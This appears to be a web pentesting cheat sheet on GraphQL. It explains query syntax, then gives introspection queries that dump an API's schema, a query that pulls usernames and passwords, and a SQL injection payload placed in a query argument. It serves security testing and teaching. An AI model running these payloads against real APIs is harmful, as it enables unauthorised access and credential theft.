GraphQL Pentesting

Last modified: 2023-06-17

Web

An open-source data query and manipulation language for APIs, and a runtime for fulfilling queries with existing data.

Common Directories

/graphql
/graphiql
/graphql.php
/graphql/console

Basic Operations - Queries

We can fetch field information by sending queries.

query {
	__typename
}

Fields

To fetch a field object, send a query like the following.

query {
	user {
		name
		friends {
			name
		}
	}
}

Arguments

We can get the specific information by padding arguments (e.g. id) to fields.

query {
	user (id: "1") {
		name
	}
}

Aliases

We can set aliases each field to get multiple results in one request.

query {
	John: user (id: "1") {
		name
		age
	}
	Emma: user (id: "2") {
		name
		age
	}
}

Fragments

We can define arbitrary fragment that is be reusable when fetching each field.

query {
	firstUser: user (id: "1") {
		...userFields
	}
	secondUser: user (id: "2") {
		...userFields
	}
	
	fragment userFields on User {
		name
		age
		friends {
			name
		}
	}
}

Operation Names

We can define an operation name to make an operation less ambiguous. By setting a name, it makes it easier to understand at a glance what kind of operation.

query UserNameAndFriends {
	user {
		name
		friends {
			name
		}
	}
}

Variables

query UsrNameAndFriends($userId: ID) {
	user (id: $userId) {
		name
		friends {
			name
		}
	}
}

Directives

We can filter by passing a directive in fields.

  • include

Only include this field if the argument is true.

query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
	user(id: $userId) {
		name
		friends @include(if: $withFriends) {
			name
		}
	}
}
  • skip

Skip this field if the argument is true.

query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
	user(id: $userId) {
		name
		friends @skip(if: $withFriends) {
			name
		}
	}
}

Basic Operations - Mutations

We can modify fields with the mutation field.

mutation {
	__typename
}

To modify a field, execute like the following.

mutation CreateCommentForPost($postId: ID!, $comment: Comment!) {
	createComment(id: $postId, comment: $comment) {
		comment
	}
}

Enumeration

# List fields
query { __schema { types { name } } }
query { __schema { types { fields { name } } } }
query { __schema { types { fields { name description } } } }
query { __schema { types { name fields { name } } } }
query { __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }

# Dump database schema
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }  possibleTypes { ...TypeRef }} fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }} query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

# Dump specific field
query { getUsers { username, password } }

SQL Injection

We might be able to inject SQL somewhere e.g. arguments. Please refer to SQL Injection Cheat Sheet for more payloads.

{
	user (id: "1' UNION SELECT null,null-- -") {
		name
		password
	}
}

NoSQL Injection

We might be able to inject NoSQL somewhere e.g. arguments. Please refer to NoSQL Injection for more payloads.